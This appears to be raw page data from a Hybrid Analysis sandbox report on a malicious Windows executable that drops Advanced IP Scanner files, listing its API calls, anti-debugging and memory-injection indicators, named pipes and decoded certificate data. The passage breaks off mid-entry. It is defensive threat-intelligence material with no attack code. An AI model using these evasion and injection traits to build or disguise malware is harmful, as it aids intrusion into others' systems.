24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] ad:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4b7,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious QD:Trojan.GenericQ Sample a1720d68eef7… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample a1720d68eef7…. Malware family: QD:Trojan.GenericQ. Threat score 100/100. 8/27 AV engines flagged this file. 10 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c","keywords":["Malicious","QD:Trojan.GenericQ","malware analysis","sandbox report","threat intelligence","a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c"],"about":{"@type":"SoftwareApplication","name":"7b6e6212a6d13800282bd2cb362c2a311d89e543.exe","applicationCategory":["peexe","executable"],"identifier":"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"QD:Trojan.GenericQ","antivirusDetections":{"malicious":8,"total":27},"behavioralIndicators":{"malicious":10,"suspicious":16},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T636,"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "FindResourceW" with parameter "11111" - (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "FindResourceW" with parameter "87099212" - (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "FindResourceW" with parameter "87067556" - (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "FindResourceW" with parameter "87186956" - (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "FindResourceW" with parameter "87186900" - (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "FindResourceW" with parameter "87100028" - (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "FindResourceW" with parameter "87069476" - (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "FindResourceW" with parameter "87099068" - (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "FindResourceW" with parameter "87069756" - (UID: 00000000-00005220) "powershell.exe" called "FindResourceW" with parameter "7" - (UID: 00000000-00007184) "powershell.exe" called "FindResourceW" with parameter "63" - (UID: 00000000-00007184) "powershell.exe" called "FindResourceW" with parameter "64" - (UID: 00000000-00007184)26:T506,"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '2274624'}" (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "LoadResource with parameter {'hModule': '8978432', 'hResInfo': '12148352'}" (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "LoadResource with parameter {'hModule': '8978432', 'hResInfo': '12148224'}" (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "LoadResource with parameter {'hModule': '8978432', 'hResInfo': '12148304'}" (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "LoadResource with parameter {'hModule': '8978432', 'hResInfo': '12148400'}" (UID: 00000000-00005220) "powershell.exe" called "LoadResource with parameter {'hModule': '154927105', 'hResInfo': '154928352'}" (UID: 00000000-00007184) "powershell.exe" called "LoadResource with parameter {'hModule': '154927105', 'hResInfo': '154928384'}" (UID: 00000000-00007184) "powershell.exe" called "LoadResource with parameter {'hModule': '154927105', 'hResInfo': '154928400'}" (UID: 00000000-00007184)27:T13ad,Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "SetTimer" (Indicator: "SetTimer"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjects"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjectsEx"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "MsgWaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjects"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "MsgWaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjectsEx"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "IcmpSendEcho" (Indicator: "IcmpSendEcho"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WaitForSingleObject() FAILED - mutex: %s res: 0x%x (%d)" (Indicator: "WaitForSingleObject"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp, 00000000-00001628.00000002.109828.6E005000.00000002.mdmp") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "SetTimer" (Indicator: "SetTimer"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp, 00000000-00001628.00000002.109828.6E005000.00000002.mdmp") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp, 00000000-00001628.00000002.109828.6E005000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp, 00000000-00001628.00000002.109828.6E005000.00000002.mdmp") Found reference to API "CreateTimerQueueTimer" (Indicator: "CreateTimerQueueTimer"; Source: "00000000-00001628.00000001.107910.6DE21000.00000020.mdmp") Found reference to API "SleepEx" (Indicator: "SleepEx"; Source: "00000000-00001628.00000001.107910.6DE21000.00000020.mdmp") Found reference to API "SetTimer" (Indicator: "SetTimer"; Source: "00000000-00005220.00000000.103022.00B4D000.00000004.mdmp, 00000000-00005220.00000001.104944.00B4D000.00000004.mdmp, 00000000-00005220.00000001.104944.73167000.00000002.mdmp")28:T7b9,Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "LsaFreeMemory" (Indicator: "FreeMemory"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WTSFreeMemory" (Indicator: "FreeMemory"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "SCardFreeMemory" (Indicator: "FreeMemory"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "WlanFreeMemory" (Indicator: "FreeMemory"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp, 00000000-00001628.00000002.109828.6E005000.00000002.mdmp") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp")29:T74c,Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp, 00000000-00001628.00000002.109828.6E005000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp, 00000000-00001628.00000002.109828.6E005000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp") Found reference to API "FreeLibraryAndExitThread" (Indicator: "FreeLibrary"; Source: "00000000-00001628.00000001.107910.6DE21000.00000020.mdmp")2a:T77a,Found string - \\.\pipe\PSHost.133952866092402431.7184.DefaultAppDomain.powershell; Source: "00000000-00007184-00000C57-640244505") Found string - \\.\NSAudioFilter; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found string - \\.\NSWFPDrv; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found string - \\.\pipe\nsm_ctl32_show_%d; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found string - \\.\PointerClass0; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found string - \\.\KeyboardClass0; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found string - \\.\pipe\nsm_vistapipe%d; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found string - \\.\pipe\nsm_%s; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found string - \\.\pipe\nsm_dosboxwpipe; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found string - \\.\pipe\nsm_dosboxrpipe; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found string - \\.\pipe\nsm_vistauipipe%d; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found string - \\.\pcisys; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found string - \\.\pipe\nsm_printpipe; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found string - \\.\pipe\nsm_gdihook_recv; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found string - \\.\PCISYS\r2; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found string - \\.\pipe\nsm_gdihook_send; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found string - \\.\PCISYS\w1; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found string - \\.\NSPSCR; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp")2b:T15f9,"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" renamed original file"C:\Program Files (x86)\Advanced IP Scanner\is-E4H59.tmp" to "%PROGRAMFILES%\(x86)\Advanced IP Scanner\unins000.exe" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" renamed original file"C:\Program Files (x86)\Advanced IP Scanner\is-RDOSR.tmp" to "%PROGRAMFILES%\(x86)\Advanced IP Scanner\advanced_ip_scanner.exe" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" renamed original file"C:\Program Files (x86)\Advanced IP Scanner\is-VB04V.tmp" to "%PROGRAMFILES%\(x86)\Advanced IP Scanner\Advanced_IP_Scanner.ico" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" renamed original file"C:\Program Files (x86)\Advanced IP Scanner\is-H2F8P.tmp" to "%PROGRAMFILES%\(x86)\Advanced IP Scanner\advanced_ip_scanner_ar_sa.qm" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" renamed original file"C:\Program Files (x86)\Advanced IP Scanner\is-QLP43.tmp" to "%PROGRAMFILES%\(x86)\Advanced IP Scanner\advanced_ip_scanner_bg_bg.qm" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" renamed original file"C:\Program Files (x86)\Advanced IP Scanner\is-9S9LT.tmp" to "%PROGRAMFILES%\(x86)\Advanced IP Scanner\advanced_ip_scanner_console.exe" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" renamed original file"C:\Program Files (x86)\Advanced IP Scanner\is-EC0T8.tmp" to "%PROGRAMFILES%\(x86)\Advanced IP Scanner\advanced_ip_scanner_cs_cz.qm" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" renamed original file"C:\Program Files (x86)\Advanced IP Scanner\is-LSJ97.tmp" to "%PROGRAMFILES%\(x86)\Advanced IP Scanner\advanced_ip_scanner_da_dk.qm" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" renamed original file"C:\Program Files (x86)\Advanced IP Scanner\is-A8E9A.tmp" to "%PROGRAMFILES%\(x86)\Advanced IP Scanner\advanced_ip_scanner_de_de.qm" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" renamed original file"C:\Program Files (x86)\Advanced IP Scanner\is-1COUU.tmp" to "%PROGRAMFILES%\(x86)\Advanced IP Scanner\advanced_ip_scanner_el_gr.qm" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" renamed original file"C:\Program Files (x86)\Advanced IP Scanner\is-OD8LA.tmp" to "%PROGRAMFILES%\(x86)\Advanced IP Scanner\advanced_ip_scanner_en_us.qm" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" renamed original file"C:\Program Files (x86)\Advanced IP Scanner\is-4O2OG.tmp" to "%PROGRAMFILES%\(x86)\Advanced IP Scanner\advanced_ip_scanner_es_es.qm" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" renamed original file"C:\Program Files (x86)\Advanced IP Scanner\is-JJ78K.tmp" to "%PROGRAMFILES%\(x86)\Advanced IP Scanner\advanced_ip_scanner_et_ee.qm" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" renamed original file"C:\Program Files (x86)\Advanced IP Scanner\is-PSFQK.tmp" to "%PROGRAMFILES%\(x86)\Advanced IP Scanner\advanced_ip_scanner_fa_ir.qm" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" renamed original file"C:\Program Files (x86)\Advanced IP Scanner\is-CRSQS.tmp" to "%PROGRAMFILES%\(x86)\Advanced IP Scanner\advanced_ip_scanner_fi_fi.qm" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" renamed original file"C:\Program Files (x86)\Advanced IP Scanner\is-PSGRB.tmp" to "%PROGRAMFILES%\(x86)\Advanced IP Scanner\advanced_ip_scanner_fr_fr.qm" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" renamed original file"C:\Program Files (x86)\Advanced IP Scanner\is-7ORPS.tmp" to "%PROGRAMFILES%\(x86)\Advanced IP Scanner\advanced_ip_scanner_he_il.qm" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" renamed original file"C:\Program Files (x86)\Advanced IP Scanner\is-K8SVQ.tmp" to "%PROGRAMFILES%\(x86)\Advanced IP Scanner\advanced_ip_scanner_hr_hr.qm" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" renamed original file"C:\Program Files (x86)\Advanced IP Scanner\is-1PUVN.tmp" to "%PROGRAMFILES%\(x86)\Advanced IP Scanner\advanced_ip_scanner_hu_hu.qm" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" renamed original file"C:\Program Files (x86)\Advanced IP Scanner\is-ITTAG.tmp" to "%PROGRAMFILES%\(x86)\Advanced IP Scanner\advanced_ip_scanner_id_id.qm" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" renamed original file"C:\Program Files (x86)\Advanced IP Scanner\is-VE2OO.tmp" to "%PROGRAMFILES%\(x86)\Advanced IP Scanner\advanced_ip_scanner_it_it.qm" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" renamed original file"C:\Program Files (x86)\Advanced IP Scanner\is-QDAP6.tmp" to "%PROGRAMFILES%\(x86)\Advanced IP Scanner\advanced_ip_scanner_ja_jp.qm" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" renamed original file"C:\Program Files (x86)\Advanced IP Scanner\is-9IQPI.tmp" to "%PROGRAMFILES%\(x86)\Advanced IP Scanner\advanced_ip_scanner_ko_kr.qm" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" renamed original file"C:\Program Files (x86)\Advanced IP Scanner\is-92QIO.tmp" to "%PROGRAMFILES%\(x86)\Advanced IP Scanner\advanced_ip_scanner_lt_lt.qm" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" renamed original file"C:\Program Files (x86)\Advanced IP Scanner\is-3OG50.tmp" to "%PROGRAMFILES%\(x86)\Advanced IP Scanner\advanced_ip_scanner_lv_lv.qm"2c:T449,Found reference to API "GetTickCount" (Indicator: "GetTickCount"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetTickCount64" (Indicator: "GetTickCount"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "IsDebuggerPresent" (Indicator: "IsDebuggerPresent"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "OutputDebugStringA" (Indicator: "OutputDebugString"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "CheckRemoteDebuggerPresent" (Indicator: "CheckRemoteDebuggerPresent"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "OutputDebugStringW" (Indicator: "OutputDebugString"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe")2d:T12ec,"powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIatwYJKoZIhvcNAQcCoIIaqDCCGqQCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQBgjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNRAgEAAgEAAgEAAgEAAgEAMCEwCQYFKw4DAhoFAAQUvSVTZwxcxUqDUoxiH97RfI559SygghV6MIIEuzCCA6OgAwIBAgITMwAAAF3JyvZpIzdoUAAAAAAAXTANBgkqhk" "cchString": "9410" "dwFlags": "1" "pbBinary": "30821ab706092a864886f70d010702a0821aa830821aa4020101310b300906052b0e03021a05003069060a2b060104018237020104a05b30593034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003021300906052b0e03021a05000414bd2553670c5cc54a83528c621fded17c8e79f52ca082157a308204bb308203a3a0030201020213330000005dc9caf6692337685000000000005d300d06092a864886f70d01010505003077310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f66742054696d652d5374616d7020504341301e170d3134303532333137313331375a170d3135303832333137313331375a3081ab310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e310d300b060355040b13044d4f505231273025060355040b131e6e436970686572204453452045534e3a374432452d333738322d42304637312530230603550403131c4d6963726f736f66742054696d652d5374616d70205365727669636530820122300d06092a864886f70d01010105000382010f003082010a0282010100abba7a2faf541f74f40d73b2e00b8558ecababbf4700fe8d3731f21c933ea6bace1be6514068d48018d758635d033736fb835870dec43336b05f077f7dfdf758ab5a976e45ceb8f11b3d52cfa53d05439ba0b13472d3eff331bc2e688e2a350b2e74b0efe42b557265958f67f4a3c8ef0311a7dc0b3ca16c0eff618c4292e456c391b18ff6aed7c1e3e8a81901a21760bf43987a2a5a6a34c8920d3fe05c1db77fb05a1dbdcc6c6a11431e020d5b42e96d4b630b39fb52a3ec7a26d2a2304763d2f8ea15d8692e9e26e94e4f1cb3d2e260263f6e5d9214905e346d78047c52519b0b0176eb41005953cedb8dd649856c823b7ec4e98746b2393cf15ed86f72ff0203010001a382010930820105301d0603551d0e04160414d754e615d9d35dca24d50118f07864997b684c33301f0603551d230418301680142334f8d95246700aed40fb76fbb32bb0c335b30f30540603551d1f044d304b3049a047a0458643687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d6963726f736f667454696d655374616d705043412e63726c305806082b06010505070101044c304a304806082b06010505073002863c687474703a2f2f7777772e6d6963726f" "pcbBinary": "bb1a0000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryW" with parameters {"pszString": "MIIatwYJKoZIhvcNAQcCoIIaqDCCGqQCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQBgjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNR" "cchString": "9410" "dwFlags": "1" "pbBinary": "30821ab706092a864886f70d010702a0821aa830821aa4020101310b300906052b0e03021a05003069060a2b060104018237020104a05b30593034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003021300906052b0e03021a05000414bd2553670c5cc54a83528c621fded17c8e79f52ca082157a308204bb308203a3a0030201020213330000005dc9caf6692337685000000000005d300d06092a864886f70d01010505003077310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f66742054696d652d5374616d7020504341301e170d3134303532333137313331375a170d3135303832333137313331375a3081ab310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e310d300b060355040b13044d4f505231273025060355040b131e6e436970686572204453452045534e3a374432452d333738322d42304637312530230603550403131c4d6963726f736f66742054696d652d5374616d70205365727669636530820122300d06092a864886f70d01010105000382010f003082010a0282010100abba7a2faf541f74f40d73b2e00b8558ecababbf4700fe8d3731f21c933ea6bace1be6514068d48018d758635d033736fb835870dec43336b05f077f7dfdf758ab5a976e45ceb8f11b3d52cfa53d05439ba0b13472d3eff331bc2e688e2a350b2e74b0efe42b557265958f67f4a3c8ef0311a7dc0b3ca16c0eff618c4292e456c391b18ff6aed7c1e3e8a81901a21760bf43987a2a5a6a34c8920d3fe05c1db77fb05a1dbdcc6c6a11431e020d5b42e96d4b630b39fb52a3ec7a26d2a2304763d2f8ea15d8692e9e26e94e4f1cb3d2e260263f6e5d9214905e346d78047c52519b0b0176eb41005953cedb8dd649856c823b7ec4e98746b2393cf15ed86f72ff0203010001a382010930820105301d0603551d0e04160414d754e615d9d35dca24d50118f07864997b684c33301f0603551d230418301680142334f8d95246700aed40fb76fbb32bb0c335b30f30540603551d1f044d304b3049a047a0458643687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d6963726f736f667454696d655374616d705043412e63726c305806082b06010505070101044c304a304806082b06010505073002863c687474703a2f2f7777772e6d6963726f" "pcbBinary": "bb1a0000" "pdwFlags": "01000000"}2e:Tbbc,Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007184-29655-49-00C0EE60 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007184-29655-141-00C0D610 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007184-29655-141-00C0D610 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007184-29655-149-00C0D560 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007184-29655-149-00C0D560 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007184-29655-151-00C0D501 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007184-29655-151-00C0D501 Assembly shows XOR instruction xor eax ebp in Stream UID: 